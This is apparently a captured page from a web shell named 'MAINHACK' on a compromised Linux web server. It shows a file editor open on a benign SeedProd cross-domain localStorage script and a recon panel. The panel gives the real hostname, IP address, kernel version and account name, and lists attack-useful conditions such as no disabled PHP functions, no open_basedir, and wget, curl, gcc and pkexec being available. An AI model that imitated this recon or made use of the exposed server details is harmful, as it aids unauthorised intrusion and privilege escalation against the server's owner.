[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: xdLocalStorage.js
'use strict'; window.XdUtils = window.XdUtils || (function () { function extend(object, defaultObject) { var result = defaultObject || {}; var key; for (key in object) { if (object.hasOwnProperty(key)) { result[key] = object[key]; } } return result; } //public interface return { extend: extend }; })(); window.xdLocalStorage = window.xdLocalStorage || (function () { var MESSAGE_NAMESPACE = 'seedprod-cross-domain-local-message'; var options = { iframeId: 'cross-domain-iframe', iframeUrl: undefined, initCallback: function () { } }; var requestId = -1; var iframe; var requests = {}; var wasInit = false; var iframeReady = true; function applyCallback(data) { if (requests[data.id]) { requests[data.id](data); delete requests[data.id]; } } function receiveMessage(event) { var data; try { data = JSON.parse(event.data); } catch (err) { //not our message, can ignore } if (data && data.namespace === MESSAGE_NAMESPACE) { if (data.id === 'iframe-ready') { iframeReady = true; options.initCallback(); } else { applyCallback(data); } } } function buildMessage(action, key, value, callback) { requestId++; requests[requestId] = callback; var data = { namespace: MESSAGE_NAMESPACE, id: requestId, action: action, key: key, value: value }; iframe.contentWindow.postMessage(JSON.stringify(data), '*'); } function init(customOptions) { options = XdUtils.extend(customOptions, options); var temp = document.createElement('div'); if (window.addEventListener) { window.addEventListener('message', receiveMessage, false); } else { window.attachEvent('onmessage', receiveMessage); } temp.innerHTML = '<iframe id="' + options.iframeId + '" src="' + options.iframeUrl + '" style="display: none;"></iframe>'; document.body.appendChild(temp); iframe = document.getElementById(options.iframeId); } function isApiReady() { if (!wasInit) { console.log('You must call xdLocalStorage.init() before using it.'); return false; } if (!iframeReady) { console.log('You must wait for iframe ready message before using the api.'); return false; } return true; } function isDomReady() { return (document.readyState === 'complete'); } return { //callback is optional for cases you use the api before window load. init: function (customOptions) { if (!customOptions.iframeUrl) { throw 'You must specify iframeUrl'; } if (wasInit) { console.log('xdLocalStorage was already initialized!'); return; } wasInit = true; if (isDomReady()) { init(customOptions); } else { if (document.addEventListener) { // All browsers expect IE < 9 document.addEventListener('readystatechange', function () { if (isDomReady()) { init(customOptions); } }); } else { // IE < 9 document.attachEvent('readystatechange', function () { if (isDomReady()) { init(customOptions); } }); } } }, setItem: function (key, value, callback) { if (!isApiReady()) { return; } buildMessage('set', key, value, callback); }, getItem: function (key, callback) { if (!isApiReady()) { return; } buildMessage('get', key, null, callback); }, removeItem: function (key, callback) { if (!isApiReady()) { return; } buildMessage('remove', key, null, callback); }, key: function (index, callback) { if (!isApiReady()) { return; } buildMessage('key', index, null, callback); }, getSize: function (callback) { if (!isApiReady()) { return; } buildMessage('size', null, null, callback); }, getLength: function (callback) { if (!isApiReady()) { return; } buildMessage('length', null, null, callback); }, clear: function (callback) { if (!isApiReady()) { return; } buildMessage('clear', null, null, callback); }, wasInit: function () { return wasInit; } }; })();
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.64 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002